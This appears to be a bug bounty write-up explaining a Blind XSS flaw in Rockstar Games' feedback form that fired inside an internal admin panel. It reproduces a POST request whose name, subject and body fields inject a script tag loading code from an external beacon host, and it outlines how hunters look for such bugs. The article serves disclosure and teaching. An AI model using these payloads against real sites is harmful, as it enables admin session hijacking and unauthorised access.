Blind XSS in Admin Panels: How a Simple Feedback Form Earned a $650 Bounty

December 25, 2025 • 6 min read

A beginner-friendly deep dive into a Blind XSS vulnerability discovered in Rockstar Games' feedback system, showing how a hidden payload executed inside an internal admin panel and why these bugs are still so dangerous.

Disclaimer

This article is published strictly for educational and defensive security purposes.
All testing techniques described here must only be performed on applications you own or where you have explicit authorization, such as official bug bounty programs.

No real user data should ever be accessed, stolen, or abused. The intent of this write-up is to explain why Blind XSS vulnerabilities exist, how to reason about them responsibly, and how developers can prevent them.

Introduction

When people hear the name Rockstar Games, they think of blockbuster titles like GTA V or Red Dead Redemption 2. They don’t think about a forgotten input field buried inside a feedback form.

Yet that’s exactly where a security researcher uncovered a Blind Cross-Site Scripting (Blind XSS) vulnerability that quietly executed inside Rockstar’s internal admin panel - and earned a $650 bounty.

What makes this finding especially interesting is not its complexity, but its simplicity.

There was no race condition. No obscure encoding trick. No advanced exploit chain.

Just curiosity, patience, and an understanding of how admin dashboards consume user-generated content.

This write-up breaks down the bug from beginner to advanced level, explains why Blind XSS is so dangerous, and shows what both researchers and developers can learn from it.

Blind XSS is a form of stored cross-site scripting where:

The attacker injects a payload.
Nothing happens immediately.
The payload executes later, in a different context—usually when a privileged user (admin, moderator, support staff) views the data.

Unlike reflected XSS, you don’t get instant feedback like alert(1) popping up in your own browser.

Instead, the payload “phones home” using an external beacon (for example, xss.ht or interact.sh).
When that beacon fires, you know your payload executed somewhere you can’t see.

This makes Blind XSS especially dangerous in:

Admin dashboards
Moderation panels
Support ticket systems
Feedback and contact forms
CRM tools

The Target: Rockstar’s Feedback Feature

The vulnerability existed in Rockstar Games’ public feedback system, often referred to as “Mouthoff to Rockstar.”

Endpoint:

https://www.rockstargames.com/mouthoff/mouthoff/submit.json

This endpoint accepted user-submitted feedback, including fields such as:

Name
Email
Age
Subject
Category
Message body

At a glance, it looked like a harmless JSON-based form submission endpoint.

And that’s exactly why it was interesting.

The Initial Test: Submitting a Payload

Screenshot of a raw HTTP POST request showing Blind XSS payloads injected into form fields like user feedback or report description.

The researcher submitted a request similar to the following:

POST /mouthoff/mouthoff/submit.json HTTP/1.1
Host: www.rockstargames.com
Content-Type: application/x-www-form-urlencoded

_method=POST&
name="><script src=https://example.xss.ht></script>&
email=test@gmail.com&
age=30&
subject="><script src=https://example.xss.ht></script>&
category_id=1&
body="><script src=https://example.xss.ht></script>

From the user’s perspective:

The form submitted successfully.
No alert appeared.
No visible error occurred.

To a beginner, this might look like a dead end.

To an experienced hunter, this is exactly what Blind XSS looks like.

Why Nothing Happened (At First)

The payload didn’t execute on the public-facing page because:

The feedback form likely stores submissions in a backend system.
Moderators review submissions through an internal admin panel.
The vulnerable rendering occurs inside that internal interface, not on the public site.

This is a textbook Blind XSS scenario.

The payload sits quietly in storage until someone with higher privileges views it.

The Callback: Proof the Payload Fired

After some time, the researcher’s XSS beacon service received a callback.

That meant:

An admin opened the feedback entry.
The admin’s browser rendered the injected input.
The script executed in the context of Rockstar’s internal domain.

At that moment, the vulnerability was confirmed.

Screenshot of an attacker's XSS beacon dashboard displaying a successful callback alert, including IP address, user agent, and DOM information from the compromised admin panel.

Conceptual flow diagram illustrating how un-sanitized user input from a public form travels to the backend and is eventually rendered in an internal administrative review user interface.

Once JavaScript executes in an admin’s browser, the impact depends on the environment—but it can be severe.

Potential consequences include:

1. Session Hijacking

If admin cookies are not marked HttpOnly, JavaScript can read and exfiltrate them.

2. Privileged Actions

Injected scripts can:

Approve or delete content
Modify settings
Create or remove users
Trigger administrative workflows

3. Internal Data Exposure

Admin panels often expose:

User IP addresses
Internal comments
Moderation notes
Backend identifiers

4. Vulnerability Chaining

If the admin panel uses frameworks like AngularJS, unsafe rendering can sometimes be chained into:

Template injection
Sandbox escapes
More severe compromise

Even if none of these are proven in a report, the risk alone justifies a serious bounty.

Why This Bug Was Easy to Miss

This vulnerability didn’t require advanced tooling or clever bypasses.

It hid in plain sight because:

Feedback forms are considered “low risk”
Input is often assumed to be harmless
Internal dashboards are trusted too much
Developers sanitize output for public pages—but forget internal ones

Many teams focus heavily on protecting customer-facing pages while assuming internal tools are safe.

That assumption is dangerous.

For researchers, Blind XSS hunting is about mindset more than payloads.

Where to Look

Contact forms
Feedback systems
Bug report portals
Support tickets
Review and comment systems
Upload metadata fields

How to Test

Inject simple payloads first
Use external beacon services
Be patient—callbacks may take hours or days
Log timestamps and payload IDs
Never attempt data exfiltration

What to Avoid

Don’t steal real data
Don’t perform destructive actions
Don’t escalate beyond proof-of-concept

Responsible demonstration is key.

Impact and Bounty

Rockstar confirmed that:

The payload executed inside their internal admin review panel
The issue represented a real security risk
Proper remediation was required

For this finding, the researcher received $650.

This reinforces an important truth in bug bounty hunting:

Impact is not about complexity.
It’s about where your code runs.

Defensive Perspective: How This Should Be Fixed

A comparison diagram contrasting unsafe HTML rendering of user input, which executes scripts, against safe context-aware output encoding that renders scripts harmlessly as text.